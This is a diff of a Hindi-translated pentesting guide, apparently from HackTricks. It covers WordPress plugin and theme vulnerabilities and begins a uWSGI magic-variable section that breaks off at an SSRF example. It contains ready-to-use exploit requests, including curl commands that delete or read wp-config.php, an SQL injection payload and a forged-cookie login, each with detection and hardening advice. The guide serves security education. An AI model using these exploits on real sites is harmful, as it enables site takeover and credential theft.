References: पृष्ठ के अंत में दिए लिंक देखें जो एक सार्वजनिक केस और व्यापक विश्लेषण प्रस्तुत करते हैं।
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### अनप्रमाणीकृत मनमाना फ़ाइल विलोपन via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### wp_ajax_nopriv के माध्यम से प्रामाणिकता-रहित मनमाना फ़ाइल विलोपन (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins अक्सर AJAX handlers को `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से एक्सपोज करते हैं। जब **_nopriv_** variant का उपयोग किया जाता है तो **callback अनप्रमाणीकृत विजिटर्स द्वारा पहुँच योग्य हो जाता है**, इसलिए कोई भी संवेदनशील क्रिया अतिरिक्त रूप से लागू करनी चाहिए:
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. एक **capability check** (उदा., `current_user_can()` या कम से कम `is_user_logged_in()`), और
|
||||
2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` से मान्य किया गया हो, और
|
||||
3. **कठोर इनपुट sanitisation / validation**।
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरलीकृत) शिप किया:
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -445,31 +443,31 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
इस स्निपेट द्वारा उत्पन्न समस्याएँ:
|
||||
इस स्निपेट से उत्पन्न समस्याएँ:
|
||||
|
||||
* **बिना प्रमाणीकरण पहुँच** – `wp_ajax_nopriv_` hook पंजीकृत है।
|
||||
* **कोई nonce / capability check नहीं** – कोई भी विज़िटर endpoint को हिट कर सकता है।
|
||||
* **कोई path sanitisation नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग बिना फ़िल्टरिंग के एक फ़ाइल सिस्टम पथ के साथ जोड़ दी जाती है, जिससे क्लासिक `../../` traversal संभव हो जाता है।
|
||||
* **अप्रमाणित पहुँच** – `wp_ajax_nopriv_` hook रजिस्टर किया गया है।
|
||||
* **No nonce / capability check** – कोई भी visitor endpoint को हिट कर सकता है।
|
||||
* **No path sanitisation** – user–controlled `fontfamily` string बिना फ़िल्टर के filesystem path में concatenate किया जाता है, जिससे classic `../../` traversal संभव हो जाता है।
|
||||
|
||||
#### Exploitation
|
||||
#### एक्सप्लॉइटेशन
|
||||
|
||||
एक हमलावर एकल HTTP POST request भेजकर **uploads base directory के नीचे** (आम तौर पर `<wp-root>/wp-content/uploads/`) किसी भी फ़ाइल या डायरेक्टरी को हटा सकता है:
|
||||
एक हमलावर एक single HTTP POST request भेजकर किसी भी फाइल या डायरेक्टरी को **uploads base directory के नीचे** (आमतौर पर `<wp-root>/wp-content/uploads/`) से डिलीट कर सकता है:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *इंस्टॉलेशन विज़ार्ड* on the next visit, enabling a full site take-over (हमलावर केवल एक नया DB configuration देता है और एक admin उपयोगकर्ता बनाता है).
|
||||
चूँकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त होते हैं। `wp-config.php` को हटाने पर अगली विज़िट पर WordPress को *इंस्टॉलेशन विज़ार्ड* में डाल देता है, जिससे पूरा साइट टेकओवर संभव हो जाता है (हमलावर केवल नया DB कॉन्फ़िगरेशन देता है और एक एडमिन उपयोगकर्ता बनाता है)।
|
||||
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
अन्य प्रभावशाली लक्ष्य plugin/theme `.php` files (सिक्योरिटी प्लगइन्स को तोड़ने के लिए) या `.htaccess` rules हैं।
|
||||
|
||||
#### डिटेक्शन चेकलिस्ट
|
||||
#### Detection checklist
|
||||
|
||||
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो फ़ाइल सिस्टम हेल्पर्स (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता हो।
|
||||
* पथों में साफ़ न किया गया उपयोगकर्ता इनपुट जोड़ना (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
|
||||
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति।
|
||||
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करे।
|
||||
* पथों में असैनिटाइज्ड उपयोगकर्ता इनपुट का संयोजन (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
|
||||
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` का अभाव।
|
||||
|
||||
#### हार्डनिंग
|
||||
#### कठोरकरण
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -489,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **हमेशा** किसी भी write/delete ऑपरेशन को डिस्क पर privileged मानें और दोबारा जाँच करें:
|
||||
> **Always** किसी भी disk पर write/delete ऑपरेशन को privileged समझें और निम्न की सावधानीपूर्वक जाँच करें:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
### Privilege escalation: stale role restoration और missing authorization के माध्यम से (ASE "View Admin as Role")
|
||||
|
||||
कई plugins एक "view as role" या temporary role-switching feature को लागू करते हैं, जो मूल role(s) को user meta में सेव करके बाद में restore करने के लिए रखते हैं। यदि restoration path केवल request parameters (e.g., `$_REQUEST['reset-for']`) और plugin-maintained सूची पर निर्भर करता है और capabilities और वैध nonce की जाँच नहीं करता, तो यह एक vertical privilege escalation बन जाता है।
|
||||
कई plugins "view as role" या temporary role-switching फ़ीचर implement करते हैं जिससे original role(s) को user meta में सेव किया जाता है ताकि उन्हें बाद में restore किया जा सके। यदि restoration path केवल request parameters (उदा., `$_REQUEST['reset-for']`) और plugin-maintained list पर निर्भर करता है और capabilities तथा वैध nonce की जाँच नहीं करता, तो यह एक vertical privilege escalation बन जाता है।
|
||||
|
||||
एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में पाया गया। reset branch ने roles को `reset-for=<username>` के आधार पर restore किया अगर username internal array `$options['viewing_admin_as_role_are']` में मौजूद हो, लेकिन current roles को हटाने और user meta `_asenha_view_admin_as_original_roles` से saved roles को फिर से जोड़ने से पहले न तो `current_user_can()` चेक किया गया और न ही कोई nonce verification:
|
||||
एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में पाया गया। reset branch ने roles को `reset-for=<username>` के आधार पर restore किया अगर username internal array `$options['viewing_admin_as_role_are']` में दिखाई देता था, लेकिन current roles को हटाने और user meta `_asenha_view_admin_as_original_roles` से saved roles को फिर से जोड़ने से पहले न तो `current_user_can()` चेक किया गया था और न ही nonce verification किया गया था:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -513,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Why it’s exploitable
|
||||
क्यों यह शोषण योग्य है
|
||||
|
||||
- सर्वर-साइड प्राधिकरण के बिना `$_REQUEST['reset-for']` और plugin विकल्प पर भरोसा करता है।
|
||||
- यदि किसी user के पास पहले `_asenha_view_admin_as_original_roles` में उच्च-प्राधिकार सहेजे गए थे और बाद में उन्हें डाउनग्रेड किया गया, तो वे reset path को हिट करके उन्हें पुनर्स्थापित कर सकते हैं।
|
||||
- कुछ deployments में, कोई भी प्रमाणीकृत user `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (टूटी हुई प्राधिकरण जाँच)।
|
||||
- `$_REQUEST['reset-for']` और एक plugin option को बिना server-side authorization के भरोसा किया जाता है।
|
||||
- अगर किसी user के पास पहले `_asenha_view_admin_as_original_roles` में higher privileges सहेजे हुए थे और उन्हें downgraded कर दिया गया, तो वे reset path पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
|
||||
- कुछ deployments में, कोई भी authenticated user `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset trigger कर सकता है (broken authorization)।
|
||||
|
||||
Attack prerequisites
|
||||
हमले की पूर्व-आवश्यकताएँ
|
||||
|
||||
- कमजोर plugin संस्करण जिसमें यह फीचर सक्षम हो।
|
||||
- लक्षित खाता के user meta में पहले के उपयोग से एक अवशिष्ट उच्च-प्राधिकार रोल मौजूद होना।
|
||||
- कोई भी प्रमाणीकृत सत्र; reset flow पर nonce/capability की कमी।
|
||||
- Vulnerable plugin version जिसमें यह feature enabled हो।
|
||||
- लक्षित account के user meta में पहले के उपयोग से एक stale high-privilege role संग्रहीत होना चाहिए।
|
||||
- कोई भी authenticated session; reset flow पर nonce/capability अनुपस्थित होना।
|
||||
|
||||
Exploitation (example)
|
||||
```bash
|
||||
@ -533,34 +531,34 @@ Exploitation (example)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
|
||||
कमजोर बिल्ड पर यह वर्तमान भूमिकाओं को हटा देता है और सहेजी गई मूल भूमिकाएँ (उदा., `administrator`) फिर से जोड़ देता है, जिससे प्रभावी रूप से अनुमतियाँ बढ़ जाती हैं।
|
||||
|
||||
Detection checklist
|
||||
|
||||
- ऐसी role-switching सुविधाओं की तलाश करें जो user meta में “मूल भूमिकाएँ” (उदा., `_asenha_view_admin_as_original_roles`) को स्थायी रूप से संग्रहीत करती हैं।
|
||||
- Identify reset/restore paths that:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST` से usernames पढ़ते हैं।
|
||||
- `add_role()` / `remove_role()` के माध्यम से roles बदलते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के।
|
||||
- किसी plugin option array (उदा., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं बजाय actor की capabilities के।
|
||||
- ऐसी role-switching सुविधाओं की तलाश करें जो user meta में “original roles” को स्थायी रूप से संग्रहीत करती हैं (उदा., `_asenha_view_admin_as_original_roles`)।
|
||||
- उन reset/restore paths की पहचान करें जो:
|
||||
- उपयोगकर्ता नामों को `$_REQUEST` / `$_GET` / `$_POST` से पढ़ते हैं।
|
||||
- `add_role()` / `remove_role()` के माध्यम से roles को modify करते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के।
|
||||
- plugin option array (उदा., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं बजाय कार्रवाई करने वाले उपयोगकर्ता की क्षमताओं के।
|
||||
|
||||
Hardening
|
||||
|
||||
- हर state-changing ब्रांच पर capability checks लागू करें (उदा., `current_user_can('manage_options')` या अधिक कड़ा)।
|
||||
- सभी role/permission परिवर्तनों के लिए nonces अनिवार्य करें और उन्हें verify करें: `check_admin_referer()` / `wp_verify_nonce()`।
|
||||
- कभी भी request-supplied usernames पर भरोसा न करें; authenticated actor और स्पष्ट नीति के आधार पर target user को server-side पर resolve करें।
|
||||
- प्रोफ़ाइल/role अपडेट्स पर “original roles” स्टेट को invalid कर दें ताकि stale उच्च-प्रिविलेज़ पुनर्स्थापना से बचा जा सके:
|
||||
- हर स्थिति-परिवर्तन शाखा पर capability checks लागू करें (उदा., `current_user_can('manage_options')` या ज़्यादा सख्त)।
|
||||
- सभी role/permission परिवर्तनों के लिए nonces अनिवार्य करें और उन्हें सत्यापित करें: `check_admin_referer()` / `wp_verify_nonce()`।
|
||||
- कभी भी request-प्रदान किए गए usernames पर भरोसा न करें; लक्ष्य उपयोगकर्ता को सर्वर-साइड पर प्रमाणीकृत उपयोगकर्ता और स्पष्ट नीति के आधार पर निर्धारित करें।
|
||||
- प्रोफ़ाइल/रोल अपडेट्स पर “original roles” स्थिति को अमान्य करें ताकि पुरानी उच्च-अधिकारों वाली पुनर्स्थापना से बचा जा सके:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- अस्थायी भूमिका परिवर्तन के लिए न्यूनतम state संग्रहीत करने और time-limited, capability-guarded tokens का उपयोग करने पर विचार करें।
|
||||
- अस्थायी role switches के लिए न्यूनतम state ही स्टोर करने और time-limited, capability-guarded tokens का उपयोग करने पर विचार करें।
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public `init` (Service Finder “sf-booking”)
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
कुछ plugins सार्वजनिक `init` hook पर user-switching helpers को जोड़ते हैं और पहचान client-controlled cookie से निकालते हैं। यदि कोड `wp_set_auth_cookie()` को authentication, capability और एक वैध nonce सत्यापित किए बिना कॉल करता है, तो कोई भी unauthenticated विज़िटर किसी भी arbitrary user ID के रूप में लॉगिन करने के लिए मजबूर कर सकता है।
|
||||
कुछ plugins सार्वजनिक `init` hook पर user-switching helpers को जोड़ते हैं और पहचान client-controlled cookie से निकाली जाती है। यदि कोड authentication, capability और एक वैध `nonce` की पुष्टि किए बिना `wp_set_auth_cookie()` को कॉल करता है, तो कोई भी unauthenticated visitor किसी भी arbitrary user ID के रूप में जोड़-जबर्दस्ती लॉगिन करवा सकता है।
|
||||
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
@ -591,13 +589,13 @@ wp_die('Original user not found.');
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
क्यों यह शोषण योग्य है
|
||||
क्यों यह exploitable है
|
||||
|
||||
- सार्वजनिक `init` hook हैंडलर को गैर-प्रमाणीकृत उपयोगकर्ताओं द्वारा पहुँचने योग्य बनाता है (कोई `is_user_logged_in()` गार्ड नहीं)।
|
||||
- पहचान क्लाइंट-परिवर्तनीय cookie (`original_user_id`) से निकाली जाती है।
|
||||
- सीधे `wp_set_auth_cookie($uid)` को कॉल करना अनुरोधकर्ता को बिना किसी capability/nonce जाँच के उस उपयोगकर्ता के रूप में लॉग इन कर देता है।
|
||||
- सार्वजनिक `init` hook हैंडलर को unauthenticated users द्वारा पहुँच योग्य बनाता है (कोई `is_user_logged_in()` guard नहीं).
|
||||
- पहचान क्लाइंट-परिवर्तनीय cookie (`original_user_id`) से निकाली जाती है.
|
||||
- `wp_set_auth_cookie($uid)` के सीधे कॉल से अनुरोधकर्ता को उस उपयोगकर्ता के रूप में लॉग इन कर दिया जाता है बिना किसी capability/nonce जांच के.
|
||||
|
||||
शोषण (गैर-प्रमाणीकृत)
|
||||
Exploitation (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -607,32 +605,32 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
### WordPress/plugin CVEs के लिए WAF पर विचार
|
||||
|
||||
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई high‑impact WordPress/plugin flaws application-specific logic/auth बग होते हैं जो तब तक सामान्य ट्रैफ़िक जैसे दिखते हैं जब तक इंजन WordPress routes और plugin semantics को न समझे।
|
||||
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए गए होते हैं। कई high‑impact WordPress/plugin flaws एप्लिकेशन-विशिष्ट लॉजिक/auth बग होते हैं जो सामान्य ट्रैफ़िक जैसा दिखते हैं जब तक engine WordPress routes और plugin semantics को न समझे।
|
||||
|
||||
Offensive notes
|
||||
|
||||
- प्लगइन-विशिष्ट endpoints को clean payloads के साथ लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)। Default payloads अक्सर बिना obfuscation के सफल होते हैं।
|
||||
- सामान्य high-impact मामले: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- क्लीन payloads के साथ plugin-विशिष्ट endpoints को लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- पहले अप्रमाणीकृत paths आज़माएँ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)। डिफ़ॉल्ट payloads अक्सर बिना obfuscation के सफल होते हैं।
|
||||
- सामान्य high-impact मामलों में शामिल हैं: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- plugin CVEs की सुरक्षा के लिए generic WAF signatures पर निर्भर न रहें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
|
||||
- code में negative regex filters की बजाय positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।
|
||||
- plugin CVEs की सुरक्षा के लिए सामान्य WAF signatures पर भरोसा न करें। एप्लिकेशन-लेयर, vulnerability-specific वर्चुअल पैच लागू करें या जल्दी अपडेट करें।
|
||||
- कोड में negative regex filters की बजाय positive-security checks को प्राथमिकता दें (capabilities, nonces, strict input validation)।
|
||||
|
||||
## WordPress Protection
|
||||
## WordPress सुरक्षा
|
||||
|
||||
### Regular Updates
|
||||
### नियमित अपडेट
|
||||
|
||||
सुनिश्चित करें कि WordPress, plugins, और themes अप टू डेट हैं। यह भी सुनिश्चित करें कि automated updating wp-config.php में सक्षम है:
|
||||
सुनिश्चित करें कि WordPress, plugins, और themes अपडेटेड हैं। साथ ही पुष्टि करें कि automated updating wp-config.php में सक्षम है:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Also, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें**।
|
||||
साथ ही, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें**।
|
||||
|
||||
### सुरक्षा प्लगइन्स
|
||||
|
||||
@ -644,14 +642,13 @@ Also, **केवल भरोसेमंद WordPress plugins और themes
|
||||
|
||||
- डिफ़ॉल्ट **admin** उपयोगकर्ता हटाएँ
|
||||
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें
|
||||
- नियमित रूप से उपयोगकर्ताओं की **अनुमतियाँ** की **समीक्षा** करें
|
||||
- **लॉगिन प्रयासों को सीमित करें** ताकि Brute Force attacks को रोका जा सके
|
||||
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ विशिष्ट IP पतों से ही पहुँच की अनुमति दें।
|
||||
- समय-समय पर उपयोगकर्ताओं की **अनुमतियाँ** की **समीक्षा** करें
|
||||
- Brute Force attacks को रोकने के लिए **लॉगिन प्रयासों को सीमित करें**
|
||||
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ निश्चित IP पतों से ही पहुँच की अनुमति दें।
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
### Unauthenticated SQL Injection — अपर्याप्त वैलिडेशन के कारण (WP Job Portal <= 2.3.2)
|
||||
|
||||
The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following असुरक्षित कोड inside `modules/category/model.php::validateFormData()`:
|
||||
The WP Job Portal recruitment plugin ने एक **savecategory** टास्क उजागर किया जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित vulnerable code को execute करता है:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -661,11 +658,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
इस snippet से उत्पन्न मुद्दे:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` सीधे HTTP request से आता है.
|
||||
2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement का उपयोग नहीं किया गया है.
|
||||
3. **Unauthenticated reachability** – हालांकि action `admin-post.php` के माध्यम से execute होता है, मौजूद केवल जांच **CSRF nonce** (`wp_verify_nonce()` ) है, जिसे कोई भी विज़िटर उस पब्लिक पेज से प्राप्त कर सकता है जो shortcode `[wpjobportal_my_resumes]` embed करता है।
|
||||
1. **Unsanitised user input** – `parentid` सीधा HTTP request से आता है।
|
||||
2. **String concatenation inside the WHERE clause** – कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं है।
|
||||
3. **Unauthenticated reachability** – भले ही action `admin-post.php` के माध्यम से execute होता है, यहाँ सिर्फ़ एक चेक है: **CSRF nonce** (`wp_verify_nonce()`), जिसे कोई भी विज़िटर उस public पेज से प्राप्त कर सकता है जो shortcode `[wpjobportal_my_resumes]` embed करता है।
|
||||
|
||||
#### शोषण
|
||||
|
||||
@ -673,7 +670,7 @@ Issues introduced by this snippet:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid` का दुरुपयोग करके arbitrary SQL inject करें:
|
||||
2. `parentid` का दुरुपयोग करके arbitrary SQL इंजेक्ट करें:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -681,18 +678,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Response इंजेक्ट किए गए query का परिणाम उजागर करता है या database को बदल देता है, जिससे SQLi साबित होता है।
|
||||
रिस्पॉन्स injected query का परिणाम प्रकट करता है या database को बदल देता है, जिससे SQLi साबित होता है।
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
### अनप्रमाणित Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
एक और टास्क, **downloadcustomfile**, विज़िटर्स को path traversal के जरिए डिस्क पर मौजूद **किसी भी फाइल** डाउनलोड करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
एक और task, **downloadcustomfile**, विज़िटर्स को path traversal के जरिए **disk पर मौजूद किसी भी file** को डाउनलोड करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` हमलावर द्वारा नियंत्रित है और concatenated **without sanitisation**। फिर से, एकमात्र बाधा **CSRF nonce** है जिसे resume page से प्राप्त किया जा सकता है।
|
||||
`$file_name` अटैकर-नियंत्रित है और बिना **sanitisation** के जोड़ दिया जाता है। फिर से, एकमात्र बाधा एक **CSRF nonce** है जिसे resume पृष्ठ से प्राप्त किया जा सकता है।
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -703,7 +700,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
सर्वर `wp-config.php` की सामग्री वापस करता है, leaking DB credentials and auth keys।
|
||||
सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया देता है, leaking DB credentials और auth keys।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
169
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
169
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
@ -0,0 +1,169 @@
|
||||
# WSGI पोस्ट-एक्सप्लॉइटेशन ट्रिक्स
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WSGI अवलोकन
|
||||
|
||||
Web Server Gateway Interface (WSGI) एक specification है जो बताती है कि एक web server कैसे web applications के साथ संचार करता है, और कैसे web applications को एक अनुरोध को प्रोसेस करने के लिए chaining के माध्यम से जोड़ा जा सकता है। uWSGI सबसे लोकप्रिय WSGI servers में से एक है, अक्सर Python web applications को serve करने के लिए उपयोग किया जाता है।
|
||||
|
||||
## uWSGI मैजिक वेरिएबल्स का शोषण
|
||||
|
||||
uWSGI विशेष "magic variables" प्रदान करता है जिन्हें server व्यवहार को dynamic रूप से configure करने के लिए उपयोग किया जा सकता है। ये variables HTTP headers के माध्यम से सेट किए जा सकते हैं और यदि सही तरह से validate न किए जाएँ तो गंभीर सुरक्षा कमजोरियाँ पैदा कर सकते हैं।
|
||||
|
||||
### प्रमुख शोषणीय वेरिएबल्स
|
||||
|
||||
#### `UWSGI_FILE` - मनमानी फ़ाइल निष्पादन
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /path/to/python/file.py;
|
||||
```
|
||||
यह वेरिएबल किसी भी Python फाइलों को WSGI एप्लिकेशन के रूप में लोड और निष्पादित करने की अनुमति देता है। अगर कोई attacker इस पैरामीटर को नियंत्रित कर सकता है, तो वे Remote Code Execution (RCE) हासिल कर सकते हैं।
|
||||
|
||||
#### `UWSGI_SCRIPT` - Script Loading
|
||||
```
|
||||
uwsgi_param UWSGI_SCRIPT module.path:callable;
|
||||
uwsgi_param SCRIPT_NAME /endpoint;
|
||||
```
|
||||
निश्चित स्क्रिप्ट को एक नए एप्लिकेशन के रूप में लोड करता है। file upload या write capabilities के साथ संयोजन में, इससे RCE हो सकता है।
|
||||
|
||||
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - डायनामिक मॉड्यूल लोडिंग
|
||||
```
|
||||
uwsgi_param UWSGI_MODULE malicious.module;
|
||||
uwsgi_param UWSGI_CALLABLE evil_function;
|
||||
uwsgi_param SCRIPT_NAME /backdoor;
|
||||
```
|
||||
ये पैरामीटर्स arbitrary Python modules लोड करने और उनके भीतर specific functions कॉल करने की अनुमति देते हैं।
|
||||
|
||||
#### `UWSGI_SETENV` - Environment Variable Manipulation
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
|
||||
```
|
||||
environment variables को संशोधित करने के लिए उपयोग किया जा सकता है, जो संभावित रूप से एप्लिकेशन के व्यवहार को प्रभावित कर सकता है या malicious configuration लोड कर सकता है।
|
||||
|
||||
#### `UWSGI_PYHOME` - Python Environment में हेरफेर
|
||||
```
|
||||
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
|
||||
```
|
||||
Python virtual environment को बदलता है, जिससे संभवतः malicious packages या अलग Python interpreters लोड हो सकते हैं।
|
||||
|
||||
#### `UWSGI_CHDIR` - Directory Traversal
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
```
|
||||
यह requests को प्रोसेस करने से पहले working directory बदल देता है, जिसे path traversal attacks के लिए उपयोग किया जा सकता है।
|
||||
|
||||
## SSRF + Gopher to
|
||||
|
||||
### आक्रमण वेक्टर
|
||||
|
||||
जब uWSGI SSRF (Server-Side Request Forgery) के माध्यम से पहुँच योग्य होता है, तो attackers internal uWSGI socket के साथ इंटरैक्ट करके magic variables का शोषण कर सकते हैं। यह विशेष रूप से खतरनाक होता है जब:
|
||||
|
||||
1. एप्लिकेशन में SSRF कमजोरियाँ हों
|
||||
2. uWSGI एक आंतरिक पोर्ट/सॉकेट पर चल रहा हो
|
||||
3. एप्लिकेशन magic variables को सही तरीके से सत्यापित नहीं करता हो
|
||||
|
||||
uWSGI SSRF के कारण पहुँच योग्य है क्योंकि config file `uwsgi.ini` में यह मौजूद है: `socket = 127.0.0.1:5000` जो इसे वेब एप्लिकेशन से SSRF के माध्यम से पहुँच योग्य बना देता है।
|
||||
|
||||
### शोषण का उदाहरण
|
||||
|
||||
